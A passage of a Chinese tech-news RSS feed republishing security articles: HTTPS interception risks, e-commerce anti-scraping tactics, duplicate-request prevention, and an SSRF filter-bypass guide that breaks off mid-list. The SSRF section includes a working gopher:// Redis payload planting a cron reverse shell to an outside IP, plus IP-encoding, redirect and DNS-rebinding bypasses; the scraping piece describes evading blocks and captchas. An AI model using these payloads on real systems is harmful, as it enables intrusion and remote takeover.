&lt;/blockquote&gt;
 &lt;blockquote&gt;  &lt;p&gt; “由于HTTPS审查会管理协议、密钥、证书，因此产品应该要执行必要的HTTPS验证。”US-CERT的警告中称。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;不过也有安全专家表达了不同的看法，安全专家David Holmes在SecurityWeek发表文章，指责发布论文的研究人员。他认为拦截HTTPS的首要目标是防范恶意软件。的确，很多企业会用到HTTPS拦截检查，因为无论是现在还是将来，他们的首要威胁都是恶意软件。很多恶意软件已经开始使用HTTPS来规避检测，因此要检查恶意软件别无他法。            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;笔者认为，安全厂商添加HTTPS检查功能的初衷是为了进行安全检查，想要像检查HTTP网页一样对内容进行检测，防止通信过程中的安全风险。现如今使用HTTPS的网站越来越多，浏览器厂商也在呼吁网站使用HTTPS协议，相关的证书的成本也在降低。            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;另一方面，HTTPS中的恶意流量也逐渐增多，甚至一些钓鱼网站也使用了HTTPS协议。而黑客窃取HTTPS证书自行签署网站证书，或者入侵HTTPS网站也是没有可能。从这个意义上说，针对HTTPS内容的检查十分必要。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="cyber-criminals-hack-world-bank-website-to-host-paypal-phishing-scam-1.png" height="629" src="http://image.3001.net/images/20170606/14967460385143.png!small" width="690"&gt;&lt;/img&gt;            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;2015年11月黑客窃取了世界银行的SSL证书搭建针对PayPal的钓鱼网站            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;但现实中，HTTPS检查却引入了新的安全问题，厂商对证书验证的疏忽、使用了存在问题的库都是产生问题的原因。整个事件带给我们的启示是，即便是安全厂商出品的安全产品也有可能存在安全问题，厂商在上线产品时应该进行严格的测试。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h2&gt;参考来源  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" target="_blank"&gt;The Risks of SSL Inspection&lt;/a&gt;            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://www.us-cert.gov/ncas/alerts/TA17-075A" target="_blank"&gt;HTTPS Interception Weakens TLS Security | US-CERT&lt;/a&gt;            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://www.cso.com.au/article/616084/us-gov-backs-google-alarm-warns-against-https-interception-products/" target="_blank"&gt;US Gov backs Google’s alarm: warns against HTTPS interception products – CSO | The Resource for Data Security Executives&lt;/a&gt;            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://www.cert.org/vulnerability-analysis/tools/cert-tapioca.cfm" target="_blank"&gt;CERT Tapioca | Vulnerability Analysis | The CERT Division – CERT. org&lt;/a&gt;            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://www.securityweek.com/us-certs-warning-ssl-interception-vs-security-false-dichotomy" target="_blank"&gt;US-CERT’s Warning on SSL Interception vs. Security is a False Dichotomy | SecurityWeek.Com&lt;/a&gt;            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://jhalderm.com/pub/papers/interception-ndss17.pdf" target="_blank"&gt;The Security Impact of HTTPS Interception&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*本文作者：kuma &amp;amp; Sphinx，转载请注明来自FreeBuf.COM&lt;/strong&gt;            &lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 专题 资讯 HTTPS检查</category>
      <guid isPermaLink="true">https://itindex.net/detail/57265-https-%E5%AE%89%E5%85%A8-%E8%B1%A1%E5%BE%81</guid>
      <pubDate>Tue, 25 Jul 2017 17:30:42 CST</pubDate>
    </item>
    <item>
      <title>国内外电商平台反爬虫机制报告</title>
      <link>https://itindex.net/detail/57087-%E5%9B%BD%E5%86%85-%E7%94%B5%E5%95%86-%E5%B9%B3%E5%8F%B0</link>
      <description>&lt;p&gt;  &lt;strong&gt;电商平台的核心引擎大致分为两块，搜索架构和产品布局，应该说各有各的特色。当然今天的主题是反爬虫机制，电商平台如何能保护好自己的数据，又不影响正常用户体验，所谓当今业界一场持久的攻防博弈。&lt;/strong&gt;&lt;/p&gt;
 &lt;h2&gt;一阶爬虫（技术篇）&lt;/h2&gt;
 &lt;h3&gt;应用场景一：静态结果页，无频率限制，无黑名单。&lt;/h3&gt;
 &lt;p&gt;攻：直接采用scrapy爬取&lt;/p&gt;
 &lt;p&gt;防：nginx层写lua脚本,将爬虫IP加入黑名单，屏蔽一段时间（不提示时间）&lt;/p&gt;
 &lt;h3&gt;应用场景二：静态结果页，无频率限制，有黑名单&lt;/h3&gt;
 &lt;p&gt;攻：使用代理（http proxy、VPN），随机user-agent&lt;/p&gt;
 &lt;p&gt;防：加大频率周期,每小时或每天超过一定次数屏蔽IP一段时间（不提示时间）&lt;/p&gt;
 &lt;h3&gt;应用场景三：静态结果页，有频率限制，有黑名单&lt;/h3&gt;
 &lt;p&gt;攻：使用代理，随机1-3秒爬取，爬10秒休息10秒，甚至范围时间爬取，增加机器&lt;/p&gt;
 &lt;p&gt;防：当5分钟内请求超过60次，弹出验证码页面，通过验证增加5分钟无限制时间,不通过验证码则屏蔽增加一小时 (时间自拟)&lt;/p&gt;
 &lt;h3&gt;应用场景四（Amazon）：静态结果页，有频率限制，有黑名单，有验证码&lt;/h3&gt;
 &lt;p&gt;攻：python+tesseract验证码识别库模拟训练，或基于tor、crawlera(收费)的中间件（广度遍历IP）&lt;/p&gt;
 &lt;p&gt;防：前端异步加载js，动态加密token&lt;/p&gt;
 &lt;h3&gt;应用场景五（Aliexpress）：动态结果页，有频率限制，有黑名单，有验证码&lt;/h3&gt;
 &lt;p&gt;攻：python+Selenium，利用chrome内核加载动态结果页，更推荐用node+hex+ie内核做一个爬取客户端。java程序可以参考  &lt;a href="http://www.freebuf.com/articles/web/41112.html"&gt;《简单破解Java浏览器组件jxbrowser》&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;防：见二阶爬虫&lt;/p&gt;
 &lt;p&gt;一阶爬虫属于单纯的技术性博弈，下面开始真正的人机交互博弈&lt;/p&gt;
 &lt;h2&gt;二阶爬虫（进阶篇）&lt;/h2&gt;
 &lt;h3&gt;应用场景六（PC天猫搜索页）：https，动态结果页，有频率限制，无黑名单，有验证码&lt;/h3&gt;
 &lt;p&gt;防：基于个性化为主导，提倡用户主动登陆来获取更优质的用户体验。根据购买习惯为用户推荐一些正常促销的商品，如9.9洗发露、沐浴露、茶叶等（威露士经常做），以及一些优质的钻展商品。不但能区别人机，还能搜集用户访问喜好，针对性优化个性化大数据，还可以抵御ddos，可谓一举三得&lt;/p&gt;
 &lt;p&gt;攻：搜集刷单账号，用分布式任务&lt;/p&gt;
 &lt;h3&gt;应用场景七（生意参谋）：https，React单页面应用，有验证码，LocalStorage，机器学习中间件&lt;/h3&gt;
 &lt;p&gt;防：生意参谋本身是收费类的官方服务，从内测http过渡到https，而且近期加大对采集行为的打击，直接采取封号警告策略。以增加用户采集成本为限制，约束攻击方收敛性为。&lt;/p&gt;
 &lt;p&gt;单页面应用访问是遵循一定正常轨迹的。例如请求：&lt;/p&gt;
 &lt;p&gt;1. 用户信息获取&lt;/p&gt;
 &lt;p&gt;2. 数据列表1&lt;/p&gt;
 &lt;p&gt;3. 数据列表2&lt;/p&gt;
 &lt;p&gt;4. 数据详情1&lt;/p&gt;
 &lt;p&gt;…&lt;/p&gt;
 &lt;p&gt;针对数据可视化应用，大部分数据是经计算分析得到，并不会经常改变（甚至不变）。  &lt;strong&gt;那么，数据结果存储入LocalStroage中，不但节省了网络请求加快页面速度（相当于缓存），还能区分用户行为轨迹&lt;/strong&gt;。&lt;/p&gt;
 &lt;p&gt;详细的来说，通过程序编程得到的爬虫，无论是基于url request，还是基于解压webkit（如：jxbrower）。所生成的爬虫对象都是临时对象，那么不会存储LocalStroage数据，因此导致，访问数据页的请求轨迹每次都会是&lt;/p&gt;
 &lt;p&gt;1. 用户信息获取&lt;/p&gt;
 &lt;p&gt;2. 数据列表1（实际应被存储到LocalStroage）&lt;/p&gt;
 &lt;p&gt;3. 数据列表2（实际应被存储到LocalStroage）&lt;/p&gt;
 &lt;p&gt;4. 数据详情1&lt;/p&gt;
 &lt;p&gt;…&lt;/p&gt;
 &lt;p&gt;而正常用户行为（一直通过浏览器访问重复页面）&lt;/p&gt;
 &lt;p&gt;1. 用户信息获取&lt;/p&gt;
 &lt;p&gt;2. 数据详情1&lt;/p&gt;
 &lt;p&gt;… 总之，不会请求LocalStorage里有的&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#36873;&amp;#21306;_085.png" src="http://image.3001.net/images/20170619/14978650932159.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;加解密的JS代码&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;
setItem: function(e, t) {

                    return void 0 === t ? this.removeItem(e) : (localStorage.setItem(e, this._serialize(t)),

                    t)

                },

                getItem: function(e) {

                    return this.deserialize(localStorage.getItem(e))

                },
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;另外，单页面应用是异步加载数据，一个页面种有ABC三类，只有A类需要验证码时用dialog占屏，BC类数据正常显示，爬虫开发时必然考虑不到这些情况，验证码并非强制要求输入（刷新后照常访问）&lt;/p&gt;
 &lt;p&gt;还可以分析每天用户请求数，访问习惯等等&lt;/p&gt;
 &lt;p&gt;分析用户行为轨迹的方式大致有3种：nginx流量中间件，web controller层拦截器，日志收集(flume + hadoop + sperk)* 。可能基于贝叶斯或决策树分析【实际怎么算只有开发者知道】&lt;/p&gt;
 &lt;p&gt;曾经被封过一次, 不是实时性的第二天才被封, 所以应该时   &lt;strong&gt;日志离线计算&lt;/strong&gt; 得出的结果&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#36873;&amp;#21306;_087.png" src="http://image.3001.net/images/20170619/14978657516690.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;攻：chrome插件(可获取https流量),另外把页面中的跳转链接记录到数据库中. 因为一些链接只需要修改日期或ID等参数就可以复用. 链接中的一些铆点可能就是计算用于轨迹的因素.   &lt;strong&gt;PS:这也是生意参谋一直警告的方式, 所有行为由读者自行负责, 与本文作者无关&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#36873;&amp;#21306;_086.png" src="http://image.3001.net/images/20170619/14978656127594.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;  &lt;strong&gt;三阶爬虫（反攻篇）&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;讲道理攻击方为何需要去爬取电商平台的数据，就为一个目的，逆演算出平台的权重计算，推导出各类合理范围内的指标（配合刷单，刷流量）。从技术层面上，永远是一个相互博弈的过程，如果有人下血本采用半人工，堆机器的方式暴力抓取，也是难以防控的。而且众所周知，电商技术的转化含金量非常高，机器和人工的成本就是九牛一毛，如果你的模型与业务模型擦边，辅助上一些内部渠道，无论是作为商家还是服务商都极快的变现&lt;/p&gt;
 &lt;p&gt;因此，反爬虫的最终核心点是要让攻击者不知道自己已经被判定为爬虫了。那么，攻击者只会悠哉的爬取数据，并兴高采烈的开始演算。而从平台方我们的最终目的是为了保护我们的数据和模型，那么关键点就来了。需要是让攻击方获取得数据不具有代表性，模型不可行即可。配合上流量木桶，定位到攻击者，我们将原始数据进行一些离散加工，加入一些噪音，让攻击方往错误的方向上推导模型。最终攻击方讲无法区分哪些数据是可用，那些又是噪音。&lt;/p&gt;
 &lt;p&gt;这时候，你会说，如果系统误杀正常用户，给出个一些展示数据错的离谱怎么办。这个度其实很好把握，我们只需要在排名*、成交单数、点击率等此类动态变化的维度加入噪音，不去加工价格、运费、产品详情，即使被程序判定为攻击者，并不影响正常用户的体验&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*本文作者：leopard7777777，转载请注明FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 反爬虫</category>
      <guid isPermaLink="true">https://itindex.net/detail/57087-%E5%9B%BD%E5%86%85-%E7%94%B5%E5%95%86-%E5%B9%B3%E5%8F%B0</guid>
      <pubDate>Thu, 22 Jun 2017 13:00:16 CST</pubDate>
    </item>
    <item>
      <title>Web项目如何防止客户端重复发送请求</title>
      <link>https://itindex.net/detail/57004-web-%E9%A1%B9%E7%9B%AE-%E5%AE%A2%E6%88%B7%E7%AB%AF</link>
      <description>&lt;p&gt;在Web项目中，有一些请求或操作会对数据产生影响（比如新增、删除、更新），针对这类请求一般都需要做一些保护，以防止用户有意或无意的重复发起这样的请求导致的数据错乱。&lt;/p&gt;
 &lt;p&gt;本文总结了一些防止客户端重复发送请求的方法。&lt;/p&gt;
 &lt;h2&gt;方法一：JS监听Form的onsubmit事件&lt;/h2&gt;
 &lt;p&gt;在经典场景下，浏览器通过Form发送请求。因此只需要在Form onsubmit时将Submit按钮disable，就能够防止用户双击导致的重复请求（这种问题一般发生在年纪大的用户身上，他们分不清单击和双击）。&lt;/p&gt;
 &lt;p&gt;但是随着前端的发展，Form以外的请求方式也越来越多，比如利用各种前端框架（Vue、AngularJs、Backbone等）写的App，他们更多的采用的是ajax的方式和后端交互。那么前端开发人员必须在开发时针对每个代表  &lt;strong&gt;发起请求&lt;/strong&gt;的UI元素做处理，像Form一样，在发起请求的时候把相关UI元素  &lt;strong&gt;禁用&lt;/strong&gt;掉。&lt;/p&gt;
 &lt;p&gt;而有些交互方式则可能连代表  &lt;strong&gt;发起请求&lt;/strong&gt;的UI元素都没有，比如Segmentfault的markdown编辑器就是在一边输入的时候一边保存的。那么这时就需要前端代码采用其他手段来控制重复请求的发生。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;优点：&lt;/strong&gt;&lt;/p&gt;
 &lt;ol&gt;  &lt;li&gt;   &lt;p&gt;不需要后端写代码&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;
 &lt;p&gt;  &lt;strong&gt;缺点：&lt;/strong&gt;&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;   &lt;p&gt;不存在统一的解决方案，必须针对每种情况写处理代码&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;无法控制浏览器刷新发起的重复请求&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;前端开发人员忘记写相关代码&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;无法控制恶意的重复请求，比如绕过浏览器直接发起&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
 &lt;h2&gt;方法二：Http Status Code 302（后端重定向）&lt;/h2&gt;
 &lt;p&gt;服务端采用重定向的方式，防止用户刷新浏览器发出重复请求。这是比较经典的后端控制重复请求的方式，因为一旦  &lt;strong&gt;重定向成功&lt;/strong&gt;后，用户刷新浏览器所刷新的是那个重定向地址，而不是数据操作地址。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;优点：&lt;/strong&gt;&lt;/p&gt;
 &lt;ol&gt;  &lt;li&gt;   &lt;p&gt;不需要写前端代码&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;
 &lt;p&gt;  &lt;strong&gt;缺点：&lt;/strong&gt;&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;   &lt;p&gt;在还未响应302之前，所发起的重复请求，比如：用户快速的双击、刷新浏览器&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;在某些前端程序里（比如SPA），不能使用重定向&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;后端开发人员忘记写相关代码&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;无法控制恶意的重复请求，比如绕过浏览器直接发起&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
 &lt;h2&gt;方法三：结合方法一和方法二&lt;/h2&gt;
 &lt;p&gt;结合方法一和方法二的话倒是可以解决大部分问题，但是解决不了以下问题：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;   &lt;p&gt;在还未响应302之前，用户刷新浏览器导致的重复请求&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;有些场景下压根不能使用重定向&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;前、后端开发人员忘记写相关代码&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;无法控制恶意的重复请求，比如绕过浏览器直接发起&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
 &lt;h2&gt;方法四：token方式&lt;/h2&gt;
 &lt;p&gt;token的流程是这样的：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;   &lt;p&gt;在浏览器发送请求前，先到服务端索要token&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;浏览器发送请求时，将token一并提交&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;服务端检查请求是否携带token、token是否有效（比如是否正确、是否过期）。如果不正确则响应失败；如果正确则销毁token，继续业务逻辑。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;关键点在于：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;   &lt;p&gt;每个token都是一次性且有过期时间的，能够防止token前端程序bug造成的重复利用和无限利用，能够避免前端开发人员代码bug。&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;服务器要求请求必须携带token，能够避免前端开发人员漏写相关代码&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;那么token是以怎样的形式传输的呢？我认为有以下两种方式：&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;Cookie&lt;/strong&gt;：&lt;/p&gt;
 &lt;p&gt;推荐使用这种方式，因为浏览器每次都会将cookie携带在请求里一并发出，所以前端发送请求的代码都不需要修改，只要在发送请求前问服务器拿token就行了。&lt;/p&gt;
 &lt;p&gt;比如在进入Form页面时，服务器将token以cookie的形式一并携带在响应中，那么前端Form提交时，就会将cookie一并携带在请求中，前端的代码一点都不需要修改。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;json&lt;/strong&gt;：&lt;/p&gt;
 &lt;p&gt;前端发起ajax请求像后端拿token，后端以json的形式返回token，前端发送请求时将token携带在请求中，后端检验。&lt;/p&gt;
 &lt;p&gt;这种方式比Cookie稍微麻烦的地方是，前端必须写一些代码来保存这个token，然后在发送请求的地方要写一些代码把token携带在请求里。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;优点&lt;/strong&gt;：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;   &lt;p&gt;前端代码可以写的少一些，比如禁用UI元素的代码可以不写&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;能够解决在还未响应302之前，用户刷新浏览器导致的重复请求&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;适应有些场景下压根不能使用重定向&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;  &lt;strong&gt;缺点&lt;/strong&gt;：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;   &lt;p&gt;前、后端开发人员忘记写相关代码。这个真的解决不了。&lt;/p&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;p&gt;无法控制通过脚本运行的，具有整套流程的恶意请求。这种请求在程序看来完全合法，但却属于恶意行为，针对这类恶意行为的防控属于另一个话题，本人不懂，所以在这里就不多讲了。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>java javascript web</category>
      <guid isPermaLink="true">https://itindex.net/detail/57004-web-%E9%A1%B9%E7%9B%AE-%E5%AE%A2%E6%88%B7%E7%AB%AF</guid>
      <pubDate>Fri, 09 Jun 2017 12:38:29 CST</pubDate>
    </item>
    <item>
      <title>SSRF漏洞中绕过IP限制的几种方法总结</title>
      <link>https://itindex.net/detail/56976-ssrf-%E6%BC%8F%E6%B4%9E-ip</link>
      <description>&lt;h2&gt;一、SSRF简介  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;  &lt;strong&gt;   &lt;a&gt;SSRF&lt;/a&gt;（Server-Side Request Forgery，服务器端请求伪造）：通俗的来说就是我们可以伪造服务器端发起的请求，从而获取客户端所不能得到的数据。SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数，并且未对客户端所传输过来的URL参数进行过滤。这个漏洞造成的危害有：&lt;/strong&gt;&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;(1)、可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息;&lt;/p&gt;
  &lt;p&gt;(2)、攻击运行在内网或本地的应用程序（比如溢出）;&lt;/p&gt;
  &lt;p&gt;(3)、对内网Web应用进行指纹识别，通过访问默认文件实现;&lt;/p&gt;
  &lt;p&gt;(4)、攻击内外网的Web应用，主要是使用Get参数就可以实现的攻击（比如Struts2漏洞利用，SQL注入等）;&lt;/p&gt;
  &lt;p&gt;(5)、利用File协议读取本地文件。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;一般的防御措施是对URL参数进行过滤，或者使得URL参数用户不可控。&lt;/p&gt;
 &lt;h2&gt;二、绕过SSRF过滤的几种方法&lt;/h2&gt;
 &lt;p&gt;下文出现的192.168.0.1，10.0.0.1全部为服务器端的内网地址。&lt;/p&gt;
 &lt;h3&gt;  &lt;strong&gt;1、更改IP   &lt;strong&gt;地址写法&lt;/strong&gt;&lt;/strong&gt;  &lt;strong&gt;&lt;/strong&gt;&lt;/h3&gt;
 &lt;p&gt;一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP，如采用如下正则表达式：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$&lt;/p&gt;
  &lt;p&gt;^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$&lt;/p&gt;
  &lt;p&gt;^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;对于这种过滤我们可以采用改编IP的写法的方式进行绕过，例如192.168.0.1这个IP地址我们可以改写成：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;(1)、8进制格式：0300.0250.0.1&lt;/p&gt;
  &lt;p&gt;(2)、16进制格式：0xC0.0xA8.0.1&lt;/p&gt;
  &lt;p&gt;(3)、10进制整数格式：3232235521&lt;/p&gt;
  &lt;p&gt;(4)、16进制整数格式：0xC0A80001&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;还有一种特殊的省略模式，例如10.0.0.1这个IP可以写成10.1&lt;/p&gt;
 &lt;h3&gt;  &lt;strong&gt;2&lt;/strong&gt;  &lt;strong&gt;、利用解析&lt;/strong&gt;  &lt;strong&gt;URL&lt;/strong&gt;  &lt;strong&gt;所出现的问题&lt;/strong&gt;  &lt;strong&gt;&lt;/strong&gt;&lt;/h3&gt;
 &lt;p&gt;在某些情况下，后端程序可能会对访问的URL进行解析，对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当，导致可以绕过过滤。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;a href="http://192.168.0.1/"&gt;http://www.baidu.com@192.168.0.1/&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;  &lt;a href="http://192.168.0.1/"&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;当后端程序通过不正确的正则表达式（比如将http之后到com为止的字符内容，也就是  &lt;a href="http://www.baidu.com"&gt;www.baidu.com&lt;/a&gt;，认为是访问请求的host地址时）对上述URL的内容进行解析的时候，很有可能会认为访问URL的host为  &lt;a href="http://www.baidu.com"&gt;www.baidu.com&lt;/a&gt;，而实际上这个URL所请求的内容都是192.168.0.1上的内容。&lt;/p&gt;
 &lt;h3&gt;  &lt;strong&gt;3&lt;/strong&gt;  &lt;strong&gt;、利用&lt;/strong&gt;  &lt;strong&gt;302&lt;/strong&gt;  &lt;strong&gt;跳转&lt;/strong&gt;  &lt;strong&gt;&lt;/strong&gt;&lt;/h3&gt;
 &lt;p&gt;如果后端服务器在接收到参数后，正确的解析了URL的host，并且进行了过滤，我们这个时候可以使用302跳转的方式来进行绕过。&lt;/p&gt;
 &lt;p&gt;(1)、在网络上存在一个很神奇的服务，  &lt;a href="http://xip.io"&gt;http://xip.io&lt;/a&gt; 当我们访问这个网站的子域名的时候，例如192.168.0.1.xip.io，就会自动重定向到192.168.0.1。&lt;/p&gt;
 &lt;p&gt;(2)、由于上述方法中包含了192.168.0.1这种内网IP地址，可能会被正则表达式过滤掉，我们可以通过短地址的方式来绕过。经过测试发现新浪，百度的短地址服务并不支持IP模式，所以这里使用的是  &lt;a href="http://tinyurl.com"&gt;http://tinyurl.com&lt;/a&gt;所提供的短地址服务，如下图所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="1.png" height="132" src="http://image.3001.net/images/20170515/14948314782772.png!small" width="481"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;同样的，我们也可以自行写一个跳转的服务接口来实现类似的功能。&lt;/p&gt;
 &lt;h3&gt;  &lt;strong&gt;4&lt;/strong&gt;  &lt;strong&gt;、通过各种非&lt;/strong&gt;  &lt;strong&gt;HTTP&lt;/strong&gt;  &lt;strong&gt;协议：&lt;/strong&gt;  &lt;strong&gt;&lt;/strong&gt;&lt;/h3&gt;
 &lt;p&gt;如果服务器端程序对访问URL所采用的协议进行验证的话，可以通过非HTTP协议来进行利用。&lt;/p&gt;
 &lt;p&gt;(1)、GOPHER协议：通过GOPHER我们在一个URL参数中构造Post或者Get请求，从而达到攻击内网应用的目的。例如我们可以使用GOPHER协议对与内网的Redis服务进行攻击，可以使用如下的URL：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i &amp;gt;&amp;amp; /dev/tcp/172.19.23.228/23330&amp;gt;&amp;amp;1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;(2)、File协议：File协议主要用于访问本地计算机中的文件，我们可以通过类似file:///文件路径这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过file:///d:/1.txt 来访问D盘中1.txt的内容&lt;/p&gt;
 &lt;h3&gt;  &lt;a&gt;   &lt;strong&gt;5&lt;/strong&gt;&lt;/a&gt;  &lt;strong&gt;、&lt;/strong&gt;  &lt;strong&gt;DNS Rebinding&lt;/strong&gt;&lt;/h3&gt;
 &lt;p&gt;对于常见的IP限制，后端服务器可能通过下图的流程进行IP过滤：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="2.png" height="432" src="http://image.3001.net/images/20170515/14948315084608.png!small" width="624"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;
&lt;/p&gt; &lt;p&gt;对于用户请求的URL参数，首先服务器端会对其进行DNS解析，然后对于DNS服务器返回的IP地址进行判断，如果在黑名单中，就pass掉。&lt;/p&gt;
 &lt;p&gt;但是在整个过程中，第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查，利用这个时间差，我们可以进行DNS 重绑定攻击。&lt;/p&gt;
 &lt;p&gt;要完成DNS重绑定攻击，我们需要一个域名，并且将这个域名的解析指定到我们自己的DNS Server，在我们的可控的DNS Server上编写解析服务，设置TTL时间为0。这样就可以进行攻击了，完整的攻击流程为：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;(1)、服务器端获得URL参数，进行第一次DNS解析，获得了一个非内网的IP&lt;/p&gt;
